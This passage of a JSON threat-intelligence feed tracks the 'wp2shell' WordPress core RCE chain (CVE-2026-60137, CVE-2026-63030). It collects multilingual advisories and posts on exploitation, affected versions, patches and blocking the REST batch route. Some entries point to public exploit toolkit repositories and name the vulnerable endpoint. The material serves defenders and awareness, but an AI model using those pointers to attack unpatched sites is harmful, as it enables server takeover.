"Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "initial_release_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "revisions.0.revision_date"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "revisions.0.revision_date"}, {"timestamp": "2026-07-20T00:00:26.029Z", "date_only": false, "value": "2026-07-20T00:00:26.029897Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/HackerNewscyber/3265", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d8a29b22-3fce-43ca-84a5-0b0ec91c484b", "content": "\u2708\ufe0f\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc wp2shell\u061b \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u062f\u0631 \u0645\u0639\u0631\u0636 \u062a\u0635\u0631\u0641 \u06a9\u0627\u0645\u0644\n\n\ud83c\udfa5 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc \u0645\u0648\u0633\u0648\u0645 \u0628\u0647 wp2shell \u0628\u0631\u0627\u06cc \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-63030 \u0648 CVE-2026-60137 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u062f\u0648 \u0646\u0642\u0635\u060c \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.x \u0648 7.0.x \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u062a\u06cc\u0645 \u062a\u0648\u0633\u0639\u0647 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0632 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 7.0.2 \u06cc\u0627 6.9.5 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f. \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0634\u062f\u062a \u0627\u06cc\u0646 \u0646\u0642\u0635\u200c\u0647\u0627\u060c \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0641\u0639\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83c\udfa5\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Searchlight Cyber \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0628\u06cc\u0634 \u0627\u0632 \u06f5\u06f0\u06f0 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0627\u0632 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u060c \u062f\u0631 \u0645\u0639\u0631\u0636 \u062d\u0645\u0644\u0627\u062a \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0627\u0645\u06a9\u0627\u0646 \u0646\u0635\u0628 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc\u060c \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u0627\u0634\u0646\u0627\u0633 \u0628\u0647 \u0645\u0633\u06cc\u0631 REST API Batch \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0627\u0642\u062f\u0627\u0645 \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0631\u0627\u0647\u06a9\u0627\u0631 \u0645\u0648\u0642\u062a \u0645\u062d\u0633\u0648\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u2708\ufe0f @HackerNewsCyber", "url": "https://t.me/HackerNewscyber/3265"}, {"timestamp": "2026-07-20T00:00:26.484Z", "date_only": false, "value": "2026-07-20T00:00:26.484772Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94097", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "fe3f9ace-d8ed-42b5-a4f8-ef956c7f3235", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ikow\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 06:23:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94097"}, {"timestamp": "2026-07-20T00:00:26.561Z", "date_only": false, "value": "2026-07-20T00:00:26.561561Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberbannews_ir/22721", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5bfc4cf7-3ff7-4704-bd87-3a02cc80de23", "content": "\ud83d\udd34 \u0647\u0634\u062f\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc\u061b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\n\n\ud83d\udd3b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-60137 \u0648 CVE-2026-63030 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0645\u0632\u0645\u0627\u0646\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RCE) \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83d\udd3b \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0645\u0648\u0646\u0647 \u06a9\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 (PoC) \u0628\u0627 \u0646\u0627\u0645 wp2shell \u0646\u06cc\u0632 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0639\u0645\u0648\u0645\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0648 \u062e\u0637\u0631 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83d\udd39 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.5 \u0648 7.0.2 \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u0648 \u0628\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n#\u062a\u0647\u062f\u06cc\u062f_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u0648\u0631\u062f\u067e\u0631\u0633\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/22721"}, {"timestamp": "2026-07-20T00:24:33.081Z", "date_only": false, "value": "2026-07-20T00:24:33.081710Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqzzr45yny2b", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "54204fe3-7c22-475e-8313-8bdfbfb0ac17", "content": "wp2shell: a defender\u2019s guide (CVE-2026-63030 + CVE-2026-60137) with a list of forensic artifacts, a compromise scanner WordPress plugin and a free Chrome/Edge/Firefox browser extension to in-browser check if a website has been patched.", "url": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqzzr45yny2b"}, {"timestamp": "2026-07-20T03:53:22.047Z", "date_only": false, "value": "2026-07-20T03:53:22.047931Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr2fgj43k42m", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "3c6892b4-e597-4500-99da-7a9f25edd512", "content": "\ud83d\udcf0 Eksploitasi Publik wp2shell Dirilis, Admin WordPress Diminta Patch Segera\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/20/wp2shell-wordpress-rce-public-exploit-patch/\n\n#beritaTeknologi #cve-2026-60137 #cve-2026-63030 #cybersecurity #exploitChain #keamananSiber #publicPoc #r", "url": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr2fgj43k42m"}, {"timestamp": "2026-07-20T04:30:25.398Z", "date_only": false, "value": "2026-07-20T04:30:25.398434Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/offseq/statuses/116950422284172751", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c2f35297-8212-42c8-b5fc-3d1566fa1850", "content": "wp2shell (CVE-2026-63030, CVE-2026-60137) allows unauth RCE in WordPress core (HIGH severity). Active exploitation reported. Patch to 6.9.5, 7.0.2, or 6.8.6. Block REST API batch endpoint if needed. Details: https://radar.offseq.com/threat/wp2shell-critical-wordpress-core-vulnerability-enabling-unauthenticated-rce-detection-and-mitigation-fccca7b8b6429718 #OffSeq #WordPress #RCE #Vulnerability", "url": "https://infosec.exchange/users/offseq/statuses/116950422284172751"}, {"timestamp": "2026-07-20T04:45:06.327Z", "date_only": false, "value": "2026-07-20T04:45:06.327548Z", "kind": "sighting", "label": "Seen", "source": "https://www.hkcert.org/security-bulletin/wordpress-multiple-vulnerabilities_20260720", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "73f5ba9e-17b4-4564-9905-1b913dfc9b4b", "url": "https://www.hkcert.org/security-bulletin/wordpress-multiple-vulnerabilities_20260720"}, {"timestamp": "2026-07-20T04:50:06.143Z", "date_only": false, "value": "2026-07-20T04:50:06.143520Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mr2ilwyupj2i", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "799c36c3-255c-490a-ab5a-fb3f30162cc6", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-63030, CVE-2026-60137) #WordPress Core Unauthenticated RCE via wp2shell\".\n\n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "url": "https://bsky.app/profile/opsmatters.com/post/3mr2ilwyupj2i"}, {"timestamp": "2026-07-20T05:03:42.400Z", "date_only": false, "value": "2026-07-20T05:03:42.400676Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mr2jeblifv2p", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e7079361-5eb5-4acc-bf2d-738ebef5b528", "content": "Daily IT Security Digest \u2014 2026-07-20\n# Daily IT Security Digest \u2014 2026-07-20\n\n1. **WordPress RCE (wp2shell) \u2014 Active Exploitation of Critical Flaws**\n   CVE-2026-63030 and CVE-2026-60137 represent unauthenticated remote code execution vulnerabilities in WordPress core. Active exploitation has been", "url": "https://bsky.app/profile/hermes71.bsky.social/post/3mr2jeblifv2p"}, {"timestamp": "2026-07-20T05:09:39.500Z", "date_only": false, "value": "2026-07-20T05:09:39.500789Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mr2jovvx3226", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "513a382d-708c-401b-9331-00d3593634df", "content": "Top 3 CVE for last 7 days:\nCVE-2026-58532: 47 interactions\nCVE-2026-63030: 30 interactions\nCVE-2026-60137: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63030: 13 interactions\nCVE-2026-60137: 11 interactions\nCVE-2026-16096: 3 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mr2jovvx3226"}, {"timestamp": "2026-07-20T05:36:33.352Z", "date_only": false, "value": "2026-07-20T05:36:33.352131Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/sirchamallow.bsky.social/post/3mr2l6w7glk2t", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "21cdc79b-d438-411c-bd3d-a52c2cb65ecb", "content": "\ud83d\udd34 #WP2Shell combine deux failles critiques du c\u0153ur WordPress (CVE-2026-63030 et CVE-2026-60137) pour ex\u00e9cuter du code \u00e0 distance sans compte ni plugin, affectant les versions 6.9.0 \u00e0 6.9.4 et 7.0.0 \u00e0 7.0.1.\n\nkorben.info/wp2shell-exp...", "url": "https://bsky.app/profile/sirchamallow.bsky.social/post/3mr2l6w7glk2t"}, {"timestamp": "2026-07-20T06:22:34.874Z", "date_only": false, "value": "2026-07-20T06:22:34.874867Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulndex.at/post/3mr2nr6vyac2q", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "ec2519dd-db47-4ff0-9d4b-c1f284944c48", "content": "WP2Shell: Die Kombination zweier CVEs (CVE-2026-63030 und CVE-2026-60137) erm\u00f6glichen eine Remote Code Execution.  Betroffen sind Versionen 6.9.0 < 6.9.5 und 7.0.0 < 7.0.2. Updates sind verf\u00fcgbar. Updates auf Version 6.9.5 oder 7.0.2 verf\u00fcgbar.\n\nAktuelle Trending CVE unter vulndex.at/intel/trendi...", "url": "https://bsky.app/profile/vulndex.at/post/3mr2nr6vyac2q"}, {"timestamp": "2026-07-20T06:24:58.882Z", "date_only": false, "value": "2026-07-20T06:24:58.882808Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulndex.at/post/3mr2nvjhwxc2q", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "7d5a5724-459a-44ec-ad62-cc7ca646be3b", "content": "WP2Shell: Die Kombination zweier CVEs (CVE-2026-63030 und CVE-2026-60137) erm\u00f6glichen eine Remote Code Execution. Betroffen sind Versionen 6.9.0 < 6.9.5 und 7.0.0 < 7.0.2. Updates sind verf\u00fcgbar.\n\nAktuelle Trending CVE unter vulndex.at/intel/trendi...\n\n#WordPress #CVE #RCE", "url": "https://bsky.app/profile/vulndex.at/post/3mr2nvjhwxc2q"}, {"timestamp": "2026-07-20T06:42:15.886Z", "date_only": false, "value": "2026-07-20T06:42:15.886373Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kerzinger.at/post/3mr2ouhi2ms2j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "522a1d2a-200f-4b2d-9ba8-5d1216ae2745", "content": "WP2Shell: Am Freitagabend wurden zwei Schwachstellen (CVE-2026-60137 [CVSS: 9,1] und CVE-2026-63030 [CVSS: 9,8]) ver\u00f6ffentlicht. \u00dcber diese k\u00f6nnen bei verwundbaren WordPress-Installationen Remote Code Executions ausgef\u00fchrt werden. WordPress-Updates stehen bereits zur Verf\u00fcgung.", "url": "https://bsky.app/profile/kerzinger.at/post/3mr2ouhi2ms2j"}, {"timestamp": "2026-07-20T06:53:46.713Z", "date_only": false, "value": "2026-07-20T06:53:46.713433Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj3m7zs2m", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "794826ba-178f-4df1-bc14-08e1648684d1", "content": "CVE-2026-60137 and CVE-2026-63030: WP2Shell Vulnerabilities Are Live Threats #CVE2026 #WordPress #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj3m7zs2m"}, {"timestamp": "2026-07-20T06:53:49.443Z", "date_only": false, "value": "2026-07-20T06:53:49.443099Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj6gscq2g", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "df4f8488-afe1-4a0d-9278-e7d157996d0b", "content": "CVE-2026-60137 and CVE-2026-63030: WordPress Vulnerabilities Demand Immediate Attention #WordPress #CVE2026 #Cybersecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj6gscq2g"}, {"timestamp": "2026-07-20T06:54:03.738Z", "date_only": false, "value": "2026-07-20T06:54:03.738853Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pjlnz6g2y", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "356f1136-1ee7-44ff-bc75-1b674e34d680", "content": "CVE-2026-60137 and CVE-2026-63030: Patch Efficacy vs. User Responsibility #CVE2026 #WordPressSecurity #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pjlnz6g2y"}, {"timestamp": "2026-07-20T08:00:04.480Z", "date_only": false, "value": "2026-07-20T08:00:04.480854Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94260", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0f2cec2d-cd5e-4253-ab92-12236d897617", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjessie21\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 06:44:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Unauthenticated RCE (CVE-2026-63030, CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94260"}, {"timestamp": "2026-07-20T08:25:06.964Z", "date_only": false, "value": "2026-07-20T08:25:06.964149Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mr2umgiun227", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a210c56c-ebc5-4a02-834d-30e4a869d005", "content": "\ud83d\udd17 CVE : CVE-2026-60137, CVE-2026-63030", "url": "https://bsky.app/profile/o2cloud.bsky.social/post/3mr2umgiun227"}, {"timestamp": "2026-07-20T08:50:41.773Z", "date_only": false, "value": "2026-07-20T08:50:41.773592Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mr3xki4pck26", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a4ce1273-e67b-4a88-a3fa-6084a0ce1c9e", "content": "Monday\u2019s fuck up - This Time - Wordpress - WordPress Core \"wp2shell\u201d RCE. The attack consists of two flaws, tracked as CVE-2026-63030 and CVE-2026-60137, that can be chained together to achieve pre-authentication remote code execution against WordPress github.com/Icex0/wp2she... #exploit #wp #cve", "url": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mr3xki4pck26"}, {"timestamp": "2026-07-20T08:52:22.917Z", "date_only": false, "value": "2026-07-20T08:52:22.917730Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3mr2w56ltyi2p", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0ea4232e-f7c7-4d5c-9caa-f71048b578c9", "content": "\u26a0\ufe0fAlerte CERT-FR\u26a0\ufe0f\n\nLes vuln\u00e9rabilit\u00e9s CVE-2026-60137 et CVE-2026-63030 affectent WordPress et permettent une ex\u00e9cution de code arbitraire \u00e0 distance non authentifi\u00e9e.\nUne preuve de concept est disponible.\n\nwww.cert.ssi.gouv.fr/alerte/CERTF...", "url": "https://bsky.app/profile/cert-fr.bsky.social/post/3mr2w56ltyi2p"}, {"timestamp": "2026-07-20T08:52:24.519Z", "date_only": false, "value": "2026-07-20T08:52:24.519817Z", "kind": "sighting", "label": "Seen", "source": "https://social.numerique.gouv.fr/users/cert_fr/statuses/116951452309188132", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "33a2de48-517f-44c3-9e83-fabf04355454", "content": "\u26a0\ufe0fAlerte CERT-FR\u26a0\ufe0f\nLes vuln\u00e9rabilit\u00e9s CVE-2026-60137 et CVE-2026-63030 affectent WordPress et permettent une ex\u00e9cution de code arbitraire \u00e0 distance non authentifi\u00e9e.Une preuve de concept est disponible.\nhttps://www.cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-007/", "url": "https://social.numerique.gouv.fr/users/cert_fr/statuses/116951452309188132"}, {"timestamp": "2026-07-20T08:58:23.112Z", "date_only": false, "value": "2026-07-20T08:58:23.112291Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/decio/statuses/116951475979751457", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "89389834-57a1-4e50-9be8-2e4f170f66a6", "content": "\u26a0\ufe0f Si vous administrez un site WordPress ou si vous connaissez quelqu\u2019un qui en g\u00e8re un faites passer l\u2019information.\nUne vuln\u00e9rabilit\u00e9 critique baptis\u00e9e WP2Shell touche directement le c\u0153ur de WordPress. \nCette fois, il ne s\u2019agit pas d\u2019un plugin abandonn\u00e9 ou d\u2019un th\u00e8me douteux : une installation standard peut \u00eatre attaqu\u00e9e \u00e0 distance, sans compte utilisateur, sans mot de passe et sans authentification pr\u00e9alable. \nWP2Shell combine deux failles, CVE-2026-60137 et CVE-2026-63030, permettant \u00e0 un attaquant d\u2019ex\u00e9cuter du code sur le serveur et donc, potentiellement, de prendre le contr\u00f4le du site. \n-> Des tentatives d\u2019exploitation et des compromissions ont d\u00e9j\u00e0 \u00e9t\u00e9 observ\u00e9es dans la nature.\nSont notamment concern\u00e9es les versions :\n\u27a1\ufe0f WordPress 6.9.0 \u00e0 6.9.4\u27a1\ufe0f WordPress 7.0.0 \u00e0 7.0.1\nLes correctifs sont disponibles dans les versions 6.9.5 et 7.0.2. WordPress a activ\u00e9 des mises \u00e0 jour automatiques forc\u00e9es en raison de la gravit\u00e9 de la faille, mais il ne faut pas supposer qu\u2019elles ont forc\u00e9ment fonctionn\u00e9 : elles peuvent avoir \u00e9t\u00e9 d\u00e9sactiv\u00e9es, bloqu\u00e9es par l\u2019h\u00e9bergeur ou emp\u00each\u00e9es par une configuration particuli\u00e8re.\n\u00c0 faire rapidement:\n\u2705 v\u00e9rifier la version r\u00e9ellement install\u00e9e ;\u2705 mettre WordPress \u00e0 jour vers 6.9.5 ou 7.0.2 au minimum ;\u2705 confirmer que la mise \u00e0 jour s\u2019est correctement termin\u00e9e ;\u2705 v\u00e9rifier les comptes administrateurs, les fichiers r\u00e9cemment modifi\u00e9s et les journaux du serveur ;\u2705 rechercher d\u2019\u00e9ventuels fichiers PHP, plugins ou utilisateurs inconnus ;\u2705 s\u2019assurer que des sauvegardes propres et r\u00e9centes sont disponibles.\nEn attendant la mise \u00e0 jour, l\u2019acc\u00e8s anonyme aux routes REST suivantes peut \u00e9galement \u00eatre bloqu\u00e9 au niveau du WAF ou du serveur web :\n/wp-json/batch/v1?rest_route=/batch/v1\nPoint important : installer le correctif emp\u00eache une nouvelle exploitation, mais ne supprime pas une \u00e9ventuelle compromission d\u00e9j\u00e0 pr\u00e9sente. Si le site est rest\u00e9 expos\u00e9, une v\u00e9rification minimale est donc n\u00e9cessaire, m\u00eame apr\u00e8s la mise \u00e0 jour.\nUn site WordPress \u00ab qui fonctionne encore \u00bb n\u2019est pas n\u00e9cessairement un site sain : les attaquants cherchent souvent \u00e0 rester discrets pour installer une porte d\u00e9rob\u00e9e, d\u00e9tourner le trafic, diffuser du spam ou pr\u00e9parer d\u2019autres attaques...\n\ud83d\udd0d wp2shell.com , pour v\u00e9rifier si votre site est vuln\u00e9rable.\nDans les news:\"WP2Shell - La faille qui permet de pirater WordPress sans aucun plugin\"\ud83d\udc47 https://korben.info/wp2shell-exploits-prise-controle-wordpress.html\n\ud83d\udcac \u2b07\ufe0f https://infosec.pub/post/49724018\n#CyberVeille #WordPress", "url": 